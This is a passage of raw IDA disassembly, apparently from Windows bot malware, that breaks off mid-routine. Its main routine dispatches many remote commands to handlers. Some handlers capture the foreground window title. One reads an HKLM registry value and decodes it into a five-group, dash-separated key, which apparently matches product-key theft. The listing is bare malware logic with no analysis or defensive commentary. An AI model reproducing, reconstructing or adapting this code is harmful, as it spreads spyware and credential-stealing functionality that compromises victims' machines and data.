jge loc_40A9C8
mov eax, [ebp+arg_0]
add eax, [ebp+var_14]
movsx eax, byte ptr [eax]
push eax
call sub_416DE4 ; tolower
pop ecx
mov [ebp+var_8], eax
cmp [ebp+var_8], 30h
jl short loc_40A95D
cmp [ebp+var_8], 39h
jg short loc_40A95D
mov eax, [ebp+var_8]
sub eax, 30h
mov [ebp+var_10], eax
jmp short loc_40A9A0
; ---------------------------------------------------------------------------
loc_40A95D: ; CODE XREF: sub_40A8AD+9Dj
; sub_40A8AD+A3j
cmp [ebp+var_8], 61h
jl short loc_40A99C
cmp [ebp+var_8], 66h
jg short loc_40A99C
and [ebp+var_24], 0
jmp short loc_40A976
; ---------------------------------------------------------------------------
loc_40A96F: ; CODE XREF: sub_40A8AD:loc_40A998j
mov eax, [ebp+var_24]
inc eax
mov [ebp+var_24], eax
loc_40A976: ; CODE XREF: sub_40A8AD+C0j
mov eax, [ebp+var_24]
movsx eax, [ebp+eax+var_1C]
test eax, eax
jz short loc_40A99A
mov eax, [ebp+var_24]
movsx eax, [ebp+eax+var_1C]
cmp [ebp+var_8], eax
jnz short loc_40A998
mov eax, [ebp+var_24]
add eax, 0Ah
mov [ebp+var_10], eax
loc_40A998: ; CODE XREF: sub_40A8AD+E0j
jmp short loc_40A96F
; ---------------------------------------------------------------------------
loc_40A99A: ; CODE XREF: sub_40A8AD+D3j
jmp short loc_40A9A0
; ---------------------------------------------------------------------------
loc_40A99C: ; CODE XREF: sub_40A8AD+B4j
; sub_40A8AD+BAj
xor eax, eax
jmp short loc_40A9CB
; ---------------------------------------------------------------------------
loc_40A9A0: ; CODE XREF: sub_40A8AD+AEj
; sub_40A8AD:loc_40A99Aj
mov eax, [ebp+var_28]
sub eax, [ebp+var_14]
dec eax
push eax
push 10h
call sub_40A86D
pop ecx
pop ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
imul eax, [ebp+var_10]
mov ecx, [ebp+var_C]
add ecx, eax
mov [ebp+var_C], ecx
jmp loc_40A920
; ---------------------------------------------------------------------------
loc_40A9C8: ; CODE XREF: sub_40A8AD+80j
mov eax, [ebp+var_C]
loc_40A9CB: ; CODE XREF: sub_40A8AD+F1j
pop edi
pop esi
leave
retn
sub_40A8AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A9CF proc near ; CODE XREF: sub_40D871+C95p
; sub_40D871+D9Cp
var_6424 = dword ptr -6424h
var_6420 = dword ptr -6420h
var_641C = dword ptr -641Ch
var_6418 = dword ptr -6418h
var_6414 = dword ptr -6414h
var_6410 = dword ptr -6410h
var_640C = dword ptr -640Ch
var_6408 = dword ptr -6408h
var_6404 = dword ptr -6404h
var_6400 = dword ptr -6400h
var_63FC = dword ptr -63FCh
var_63F8 = dword ptr -63F8h
var_63F4 = dword ptr -63F4h
var_63F0 = dword ptr -63F0h
var_63EC = dword ptr -63ECh
var_63E8 = dword ptr -63E8h
var_63E4 = dword ptr -63E4h
var_63E0 = dword ptr -63E0h
var_63DC = dword ptr -63DCh
var_63D8 = dword ptr -63D8h
var_63D4 = dword ptr -63D4h
var_63D0 = dword ptr -63D0h
var_63CC = dword ptr -63CCh
var_63C8 = dword ptr -63C8h
var_63C4 = dword ptr -63C4h
var_63C0 = dword ptr -63C0h
var_63BC = dword ptr -63BCh
var_63B8 = dword ptr -63B8h
var_63B4 = word ptr -63B4h
var_63B2 = word ptr -63B2h
var_63B0 = dword ptr -63B0h
var_63A4 = dword ptr -63A4h
var_63A0 = byte ptr -63A0h
var_639C = dword ptr -639Ch
var_6398 = byte ptr -6398h
var_6397 = byte ptr -6397h
var_6396 = byte ptr -6396h
var_6395 = byte ptr -6395h
var_6394 = byte ptr -6394h
var_6393 = byte ptr -6393h
var_6392 = byte ptr -6392h
var_6391 = byte ptr -6391h
var_6390 = byte ptr -6390h
var_638F = byte ptr -638Fh
var_638E = byte ptr -638Eh
var_638D = byte ptr -638Dh
var_638C = dword ptr -638Ch
var_6388 = byte ptr -6388h
var_5F84 = dword ptr -5F84h
var_5F80 = byte ptr -5F80h
var_5B7C = dword ptr -5B7Ch
var_5B78 = dword ptr -5B78h
var_5B74 = byte ptr -5B74h
var_5A70 = dword ptr -5A70h
var_5A6C = dword ptr -5A6Ch
var_5A68 = dword ptr -5A68h
var_5A64 = byte ptr -5A64h
var_1A64 = dword ptr -1A64h
var_1A60 = byte ptr -1A60h
var_A60 = dword ptr -0A60h
var_A5C = byte ptr -0A5Ch
var_A38 = byte ptr -0A38h
var_A30 = dword ptr -0A30h
var_A2C = dword ptr -0A2Ch
var_A28 = dword ptr -0A28h
var_A24 = dword ptr -0A24h
var_A20 = dword ptr -0A20h
var_A1C = dword ptr -0A1Ch
var_A18 = byte ptr -0A18h
var_9F8 = dword ptr -9F8h
var_9F4 = byte ptr -9F4h
var_9EF = byte ptr -9EFh
var_9EA = byte ptr -9EAh
var_9E5 = byte ptr -9E5h
var_9E0 = byte ptr -9E0h
var_9DB = byte ptr -9DBh
var_9D8 = byte ptr -9D8h
var_9A4 = byte ptr -9A4h
var_970 = byte ptr -970h
var_8DC = dword ptr -8DCh
var_8D8 = byte ptr -8D8h
var_8D3 = byte ptr -8D3h
var_8D2 = byte ptr -8D2h
var_8CD = byte ptr -8CDh
var_8CC = byte ptr -8CCh
var_8C7 = byte ptr -8C7h
var_8C6 = byte ptr -8C6h
var_8C1 = byte ptr -8C1h
var_8C0 = byte ptr -8C0h
var_8BB = byte ptr -8BBh
var_8B8 = byte ptr -8B8h
var_8A0 = byte ptr -8A0h
var_720 = dword ptr -720h
var_71C = dword ptr -71Ch
var_718 = byte ptr -718h
var_59B = byte ptr -59Bh
var_598 = byte ptr -598h
var_418 = dword ptr -418h
var_414 = byte ptr -414h
var_214 = byte ptr -214h
var_1F0 = byte ptr -1F0h
var_1CC = byte ptr -1CCh
var_1A8 = dword ptr -1A8h
var_1A4 = byte ptr -1A4h
var_183 = byte ptr -183h
var_83 = dword ptr -83h
var_7F = byte ptr -7Fh
var_19 = byte ptr -19h
var_B = byte ptr -0Bh
var_8 = byte ptr -8
var_5 = dword ptr -5
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
mov eax, 6424h
call sub_416BC0
push esi
push edi
mov eax, [ebp+arg_14]
push dword ptr [eax]
call sub_40ED38
pop ecx
mov [ebp+var_1A8], eax
push [ebp+arg_0]
lea eax, [ebp+var_1A4]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
push [ebp+arg_8]
lea eax, [ebp+var_183]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
mov eax, [ebp+arg_C]
mov [ebp+var_83], eax
push 7Ah
push [ebp+arg_10]
lea eax, [ebp+var_7F]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov [ebp+var_5], 1
mov eax, [ebp+var_1A8]
sub eax, dword_419F18
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40AA59
lea eax, [ebp+var_1A4]
push eax
call sub_415AF0
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40AA59: ; CODE XREF: sub_40A9CF+76j
mov eax, [ebp+var_1A8]
sub eax, dword_419F0C
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40AACF
mov eax, [ebp+arg_14]
cmp dword ptr [eax+4], 0
jnz short loc_40AAAC
lea eax, [ebp+var_214]
push eax
lea eax, [ebp+var_1F0]
push eax
lea eax, [ebp+var_1CC]
push eax
call sub_40668F
add esp, 0Ch
lea eax, [ebp+var_1CC]
push eax
push offset dword_419F04
call sub_40D6CB
pop ecx
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40AAAC: ; CODE XREF: sub_40A9CF+A6j
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
call sub_40D7E5
pop ecx
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
push offset dword_419F04
call sub_40D6CB
pop ecx
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40AACF: ; CODE XREF: sub_40A9CF+9Dj
mov eax, [ebp+var_1A8]
sub eax, dword_419EF8
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40AB21
push 200h
lea eax, [ebp+var_414]
push eax
call ds:dword_4171D8 ; GetForegroundWindow
push eax
call ds:dword_4171E4 ; GetWindowTextA
test eax, eax
jle short loc_40AB1C
lea eax, [ebp+var_414]
push eax
push offset dword_419EDC
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 0Ch
loc_40AB1C: ; CODE XREF: sub_40A9CF+130j
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40AB21: ; CODE XREF: sub_40A9CF+113j
mov eax, [ebp+var_1A8]
sub eax, dword_419ED0
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40AB56
mov eax, [ebp+arg_14]
push dword ptr [eax+8]
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_4077DD
add esp, 0Ch
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40AB56: ; CODE XREF: sub_40A9CF+165j
mov eax, [ebp+var_1A8]
sub eax, dword_419EC4
neg eax
sbb eax, eax
inc eax
test eax, eax
jz loc_40AC89
mov eax, [ebp+arg_18]
cmp dword ptr [eax+4], 0
jz loc_40AC84
push 180h
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
lea eax, [ebp+var_598]
push eax
call sub_407A56
add esp, 0Ch
lea eax, [ebp+var_598]
push eax
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_418], eax
cmp [ebp+var_418], 3
jle short loc_40ABFE
push offset dword_419EC0
mov eax, [ebp+var_418]
lea eax, [ebp+eax+var_59B]
push eax
call sub_416DDE ; strcmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40ABFE
mov eax, [ebp+var_418]
and [ebp+eax+var_59B], 0
lea eax, [ebp+var_598]
push eax
call sub_4078A0
pop ecx
lea eax, [ebp+var_598]
push eax
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_418], eax
loc_40ABFE: ; CODE XREF: sub_40A9CF+1E1j
; sub_40A9CF+1FFj
mov eax, [ebp+var_418]
cdq
push 4
pop ecx
idiv ecx
mov ecx, [ebp+var_418]
sub ecx, eax
cmp ecx, 180h
jbe short loc_40AC1F
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40AC1F: ; CODE XREF: sub_40A9CF+249j
push [ebp+var_418]
lea eax, [ebp+var_598]
push eax
call sub_40EF29
pop ecx
pop ecx
push [ebp+var_418]
lea eax, [ebp+var_598]
push eax
call sub_40EF59
pop ecx
pop ecx
mov [ebp+var_418], eax
push [ebp+var_418]
lea eax, [ebp+var_718]
push eax
lea eax, [ebp+var_598]
push eax
call sub_40EB4E
add esp, 0Ch
lea eax, [ebp+var_718]
push eax
push offset dword_419E9C
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 0Ch
loc_40AC84: ; CODE XREF: sub_40A9CF+1A7j
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40AC89: ; CODE XREF: sub_40A9CF+19Aj
mov eax, [ebp+var_1A8]
sub eax, dword_419E90
neg eax
sbb eax, eax
inc eax
test eax, eax
jz loc_40AD84
mov eax, [ebp+arg_18]
cmp dword ptr [eax+4], 0
jz loc_40AD7F
mov eax, [ebp+arg_18]
mov eax, [eax+4]
movsx eax, byte ptr [eax]
cmp eax, 3Dh
jnz loc_40AD7F
mov eax, [ebp+arg_18]
mov eax, [eax+4]
inc eax
push eax
call sub_40EC96
pop ecx
test eax, eax
jz loc_40AD7F
mov eax, [ebp+arg_18]
mov eax, [eax+4]
inc eax
push eax
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_71C], eax
mov eax, [ebp+var_71C]
cdq
push 4
pop ecx
idiv ecx
mov ecx, [ebp+var_71C]
sub ecx, eax
cmp ecx, 180h
jbe short loc_40AD0C
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40AD0C: ; CODE XREF: sub_40A9CF+336j
lea eax, [ebp+var_8A0]
push eax
mov eax, [ebp+arg_18]
mov eax, [eax+4]
inc eax
push eax
call sub_40E9C9
pop ecx
pop ecx
mov [ebp+var_720], eax
push [ebp+var_720]
lea eax, [ebp+var_8A0]
push eax
call sub_40F040
pop ecx
pop ecx
mov [ebp+var_720], eax
push [ebp+var_720]
lea eax, [ebp+var_8A0]
push eax
call sub_40EF41
pop ecx
pop ecx
mov eax, [ebp+var_720]
and [ebp+eax+var_8A0], 0
lea eax, [ebp+var_8A0]
push eax
push offset dword_419E70
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 0Ch
loc_40AD7F: ; CODE XREF: sub_40A9CF+2DAj
; sub_40A9CF+2ECj ...
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40AD84: ; CODE XREF: sub_40A9CF+2CDj
mov eax, [ebp+var_1A8]
sub eax, dword_419E60
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40ADB2
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_406643
pop ecx
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40ADB2: ; CODE XREF: sub_40A9CF+3C8j
mov eax, [ebp+var_1A8]
sub eax, dword_419E50
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40ADD9
lea eax, [ebp+var_1A4]
push eax
call sub_4064BF
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40ADD9: ; CODE XREF: sub_40A9CF+3F6j
mov eax, [ebp+var_1A8]
sub eax, dword_419E48
neg eax
sbb eax, eax
inc eax
test eax, eax
jz loc_40B0B6
and [ebp+var_9F8], 0
mov [ebp+var_A1C], 0C8h
push 0Ch
pop ecx
mov esi, offset dword_419E14
lea edi, [ebp+var_9D8]
rep movsd
movsb
push 5
pop ecx
mov esi, offset dword_419DFC
lea edi, [ebp+var_8B8]
rep movsd
movsb
lea eax, [ebp+var_9D8]
push eax
call sub_4105FB
pop ecx
lea eax, [ebp+var_9F8]
push eax
push 20019h
push 0
lea eax, [ebp+var_9D8]
push eax
push 80000002h
call ds:dword_417008 ; RegOpenKeyExA
test eax, eax
jz short loc_40AE7D
lea eax, [ebp+var_9D8]
push eax
call sub_4105AD
pop ecx
cmp [ebp+var_9F8], 0
jz short loc_40AE78
push [ebp+var_9F8]
call ds:dword_417028 ; RegCloseKey
loc_40AE78: ; CODE XREF: sub_40A9CF+49Bj
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40AE7D: ; CODE XREF: sub_40A9CF+485j
lea eax, [ebp+var_9D8]
push eax
call sub_4105AD
pop ecx
lea eax, [ebp+var_8B8]
push eax
call sub_4105FB
pop ecx
lea eax, [ebp+var_A1C]
push eax
lea eax, [ebp+var_9A4]
push eax
push 0
push 0
lea eax, [ebp+var_8B8]
push eax
push [ebp+var_9F8]
call ds:dword_41700C ; RegQueryValueExA
test eax, eax
jz short loc_40AEE7
lea eax, [ebp+var_8B8]
push eax
call sub_4105AD
pop ecx
cmp [ebp+var_9F8], 0
jz short loc_40AEE2
push [ebp+var_9F8]
call ds:dword_417028 ; RegCloseKey
loc_40AEE2: ; CODE XREF: sub_40A9CF+505j
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40AEE7: ; CODE XREF: sub_40A9CF+4EFj
lea eax, [ebp+var_8B8]
push eax
call sub_4105AD
pop ecx
push [ebp+var_9F8]
call ds:dword_417028 ; RegCloseKey
push 7
pop ecx
mov esi, offset dword_419DDC
lea edi, [ebp+var_A18]
rep movsd
movsb
lea eax, [ebp+var_A18]
push eax
call sub_4105FB
pop ecx
and [ebp+var_9DB], 0
mov [ebp+var_8DC], 18h
jmp short loc_40AF3E
; ---------------------------------------------------------------------------
loc_40AF31: ; CODE XREF: sub_40A9CF+60Bj
mov eax, [ebp+var_8DC]
dec eax
mov [ebp+var_8DC], eax
loc_40AF3E: ; CODE XREF: sub_40A9CF+560j
cmp [ebp+var_8DC], 0
jl loc_40AFDF
and [ebp+var_A20], 0
mov [ebp+var_A24], 0Eh
jmp short loc_40AF6B
; ---------------------------------------------------------------------------
loc_40AF5E: ; CODE XREF: sub_40A9CF+5EFj
mov eax, [ebp+var_A24]
dec eax
mov [ebp+var_A24], eax
loc_40AF6B: ; CODE XREF: sub_40A9CF+58Dj
cmp [ebp+var_A24], 0
jl short loc_40AFC0
mov eax, [ebp+var_A20]
shl eax, 8
mov ecx, [ebp+var_A24]
movzx ecx, [ebp+ecx+var_970]
add eax, ecx
mov [ebp+var_A20], eax
mov eax, [ebp+var_A20]
cdq
push 18h
pop ecx
idiv ecx
mov ecx, [ebp+var_A24]
mov [ebp+ecx+var_970], al
mov eax, [ebp+var_A20]
cdq
push 18h
pop ecx
idiv ecx
mov [ebp+var_A20], edx
jmp short loc_40AF5E
; ---------------------------------------------------------------------------
loc_40AFC0: ; CODE XREF: sub_40A9CF+5A3j
mov eax, [ebp+var_8DC]
mov ecx, [ebp+var_A20]
mov cl, [ebp+ecx+var_A18]
mov [ebp+eax+var_9F4], cl
jmp loc_40AF31
; ---------------------------------------------------------------------------
loc_40AFDF: ; CODE XREF: sub_40A9CF+576j
lea eax, [ebp+var_A18]
push eax
call sub_4105AD
pop ecx
and [ebp+var_8BB], 0
mov [ebp+var_8C1], 2Dh
mov al, [ebp+var_8C1]
mov [ebp+var_8C7], al
mov al, [ebp+var_8C7]
mov [ebp+var_8CD], al
mov al, [ebp+var_8CD]
mov [ebp+var_8D3], al
push 5
lea eax, [ebp+var_9F4]
push eax
lea eax, [ebp+var_8D8]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push 5
lea eax, [ebp+var_9EF]
push eax
lea eax, [ebp+var_8D2]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push 5
lea eax, [ebp+var_9EA]
push eax
lea eax, [ebp+var_8CC]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push 5
lea eax, [ebp+var_9E5]
push eax
lea eax, [ebp+var_8C6]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push 5
lea eax, [ebp+var_9E0]
push eax
lea eax, [ebp+var_8C0]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
lea eax, [ebp+var_8D8]
push eax
push offset dword_418B64
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 0Ch
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B0B6: ; CODE XREF: sub_40A9CF+41Dj
mov eax, [ebp+var_1A8]
sub eax, dword_419DCC
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B11C
mov [ebp+var_8], 1
movsx eax, [ebp+var_19]
test eax, eax
jz short loc_40B0E6
lea eax, [ebp+var_1A4]
push eax
call sub_411D68
pop ecx
jmp short loc_40B117
; ---------------------------------------------------------------------------
loc_40B0E6: ; CODE XREF: sub_40A9CF+706j
movsx eax, [ebp+var_B]
test eax, eax
jz short loc_40B0FD
lea eax, [ebp+var_1A4]
push eax
call sub_4123F6
pop ecx
jmp short loc_40B117
; ---------------------------------------------------------------------------
loc_40B0FD: ; CODE XREF: sub_40A9CF+71Dj
lea eax, [ebp+var_1A4]
push eax
call sub_411D68
pop ecx
lea eax, [ebp+var_1A4]
push eax
call sub_4123F6
pop ecx
loc_40B117: ; CODE XREF: sub_40A9CF+715j
; sub_40A9CF+72Cj
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B11C: ; CODE XREF: sub_40A9CF+6FAj
mov eax, [ebp+var_1A8]
sub eax, dword_419DBC
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B143
lea eax, [ebp+var_1A4]
push eax
call sub_414EB0
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B143: ; CODE XREF: sub_40A9CF+760j
mov eax, [ebp+var_1A8]
sub eax, dword_419DB0
neg eax
sbb eax, eax
inc eax
test eax, eax
jz loc_40B247
push 8
pop ecx
mov esi, offset dword_419D8C
lea edi, [ebp+var_A5C]
rep movsd
movsb
mov esi, offset dword_419D84
lea edi, [ebp+var_A38]
movsd
movsw
movsx eax, [ebp+var_A38]
mov ecx, off_41DA68
movsx ecx, byte ptr [ecx]
sub eax, ecx
neg eax
sbb eax, eax
inc eax
mov [ebp+var_A30], eax
cmp [ebp+var_A30], 0
jz short loc_40B1AD
mov [ebp+var_63E4], offset dword_419D78
jmp short loc_40B1B7
; ---------------------------------------------------------------------------
loc_40B1AD: ; CODE XREF: sub_40A9CF+7D0j
mov [ebp+var_63E4], offset dword_419D68
loc_40B1B7: ; CODE XREF: sub_40A9CF+7DCj
mov eax, [ebp+var_63E4]
mov [ebp+var_A28], eax
cmp [ebp+var_A30], 0
jz short loc_40B1D8
mov [ebp+var_63E8], offset aThisBuildIsFul ; "This build is fully functional"
jmp short loc_40B1E2
; ---------------------------------------------------------------------------
loc_40B1D8: ; CODE XREF: sub_40A9CF+7FBj
mov [ebp+var_63E8], offset aThisBuildIsBro ; "This build is broken and will not funct"...
loc_40B1E2: ; CODE XREF: sub_40A9CF+807j
mov eax, [ebp+var_63E8]
mov [ebp+var_A2C], eax
lea eax, [ebp+var_A5C]
push eax
call sub_4105FB
pop ecx
push [ebp+var_A2C]
push [ebp+var_A28]
mov eax, dword_41EC30
and eax, 0FFFFh
push eax
movsx eax, byte ptr dword_41DA48
and eax, 0FFh
push eax
lea eax, [ebp+var_A5C]
push eax
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 18h
lea eax, [ebp+var_A5C]
push eax
call sub_4105AD
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B247: ; CODE XREF: sub_40A9CF+787j
mov eax, [ebp+var_1A8]
sub eax, dword_419D08
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B28E
mov eax, [ebp+arg_14]
push dword ptr [eax+14h]
mov eax, [ebp+arg_14]
push dword ptr [eax+10h]
mov eax, [ebp+arg_14]
push dword ptr [eax+0Ch]
mov eax, [ebp+arg_14]
push dword ptr [eax+8]
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_405E45
add esp, 18h
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B28E: ; CODE XREF: sub_40A9CF+88Bj
mov eax, [ebp+var_1A8]
sub eax, dword_419CFC
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B2C5
mov eax, [ebp+arg_18]
add eax, 4
push eax
mov eax, [ebp+arg_14]
add eax, 4
push eax
lea eax, [ebp+var_1A4]
push eax
call sub_4167DD
add esp, 0Ch
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B2C5: ; CODE XREF: sub_40A9CF+8D2j
mov eax, [ebp+var_1A8]
sub eax, dword_419CF0
neg eax
sbb eax, eax
inc eax
test eax, eax
jnz short loc_40B2EF
mov eax, [ebp+var_1A8]
sub eax, dword_419CE4
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B300
loc_40B2EF: ; CODE XREF: sub_40A9CF+909j
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
call sub_40D74D
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B300: ; CODE XREF: sub_40A9CF+91Ej
mov eax, [ebp+var_1A8]
sub eax, dword_419CD4
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B335
mov eax, [ebp+arg_14]
push dword ptr [eax+8]
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_403260
add esp, 0Ch
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B335: ; CODE XREF: sub_40A9CF+944j
mov eax, [ebp+var_1A8]
sub eax, dword_419CC8
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B36A
mov eax, [ebp+arg_18]
push dword ptr [eax+8]
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_40260D
add esp, 0Ch
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B36A: ; CODE XREF: sub_40A9CF+979j
mov eax, [ebp+var_1A8]
sub eax, dword_419CB8
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B3A5
mov eax, [ebp+arg_14]
push dword ptr [eax+0Ch]
mov eax, [ebp+arg_14]
push dword ptr [eax+8]
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_406509
add esp, 10h
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B3A5: ; CODE XREF: sub_40A9CF+9AEj
mov eax, [ebp+var_1A8]
sub eax, dword_419CA8
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B3DA
mov eax, [ebp+arg_18]
push dword ptr [eax+8]
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_41665C
add esp, 0Ch
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B3DA: ; CODE XREF: sub_40A9CF+9E9j
mov eax, [ebp+var_1A8]
sub eax, dword_419C98
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B426
mov eax, [ebp+arg_18]
cmp dword ptr [eax+4], 0
jnz short loc_40B3FD
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B3FD: ; CODE XREF: sub_40A9CF+A27j
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
push 80000001h
call sub_401000
pop ecx
pop ecx
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
push 80000002h
call sub_401000
pop ecx
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B426: ; CODE XREF: sub_40A9CF+A1Ej
mov eax, [ebp+var_1A8]
sub eax, dword_419C88
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B44C
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
call sub_401146
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B44C: ; CODE XREF: sub_40A9CF+A6Aj
mov eax, [ebp+var_1A8]
sub eax, dword_419C7C
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B47D
push 0
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_4017AA
add esp, 0Ch
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B47D: ; CODE XREF: sub_40A9CF+A90j
mov eax, [ebp+var_1A8]
sub eax, dword_419C70
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B4AE
push 1
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_4017AA
add esp, 0Ch
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B4AE: ; CODE XREF: sub_40A9CF+AC1j
mov eax, [ebp+var_1A8]
sub eax, dword_419C64
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B4D5
lea eax, [ebp+var_1A4]
push eax
call sub_409BF1
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B4D5: ; CODE XREF: sub_40A9CF+AF2j
mov eax, [ebp+var_1A8]
sub eax, dword_419C5C
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B508
push offset dword_41EF48
push offset dword_419C4C
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 0Ch
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B508: ; CODE XREF: sub_40A9CF+B19j
mov eax, [ebp+var_1A8]
sub eax, dword_419C40
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B536
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_413FE7
pop ecx
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B536: ; CODE XREF: sub_40A9CF+B4Cj
mov eax, [ebp+var_1A8]
sub eax, dword_419C34
neg eax
sbb eax, eax
inc eax
test eax, eax
jnz short loc_40B575
mov eax, [ebp+var_1A8]
sub eax, dword_419C28
neg eax
sbb eax, eax
inc eax
test eax, eax
jnz short loc_40B575
mov eax, [ebp+var_1A8]
sub eax, dword_419C1C
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B5A7
loc_40B575: ; CODE XREF: sub_40A9CF+B7Aj
; sub_40A9CF+B8Fj
mov eax, [ebp+arg_14]
push dword ptr [eax+14h]
mov eax, [ebp+arg_14]
push dword ptr [eax+10h]
mov eax, [ebp+arg_14]
push dword ptr [eax+0Ch]
mov eax, [ebp+arg_14]
push dword ptr [eax+8]
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_413AB0
add esp, 18h
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B5A7: ; CODE XREF: sub_40A9CF+BA4j
mov eax, [ebp+var_1A8]
sub eax, dword_419C0C
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B5CE
lea eax, [ebp+var_1A4]
push eax
call sub_41417D
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B5CE: ; CODE XREF: sub_40A9CF+BEBj
mov eax, [ebp+var_1A8]
sub eax, dword_419BF8
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B631
mov eax, [ebp+arg_18]
cmp dword ptr [eax+4], 0
jz short loc_40B61B
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
call sub_41673F
pop ecx
test eax, eax
jnz short loc_40B601
jmp loc_40C912
; ---------------------------------------------------------------------------
